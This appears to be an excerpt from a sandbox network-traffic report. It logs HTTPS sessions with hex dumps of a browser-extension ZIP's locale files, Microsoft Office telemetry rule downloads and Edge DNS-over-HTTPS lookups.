2024-11-27 15:34:43 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-27 15:34:43 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-27 15:34:43 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-27 15:34:43 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-27 15:34:43 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:43 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:43 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 34632f50-601e-0097-1466-40f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153443Z-174f7845968px8v7hC1EWR08ng0000000xa000000000mpr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:43 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:43 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:43 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153443Z-174f7845968glpgnhC1EWR7uec0000000xc0000000001xv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:43 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:43 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:43 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153443Z-174f7845968l4kp6hC1EWRe8840000000xdg000000007ruv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:43 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49791	162.159.61.3	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 15:34:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 15:34:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 15:34:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e932f1adf344390-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 15:34:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fa 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49790	162.159.61.3	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 15:34:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 15:34:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 15:34:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e932f1addc67291-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 15:34:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 11 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	49792	172.64.41.3	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 15:34:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 15:34:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 15:34:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e932f1ade324385-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 15:34:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 11 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	49793	172.64.41.3	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 15:34:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 15:34:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 15:34:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e932f1b1b45c475-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 15:34:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 de 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:43 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:43 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153443Z-174f78459688l8rvhC1EWRtzr000000009s000000000a5n2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:43 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:43 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:43 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153443Z-174f7845968j6t2phC1EWRcfe80000000xa000000000a4s9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:43 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" 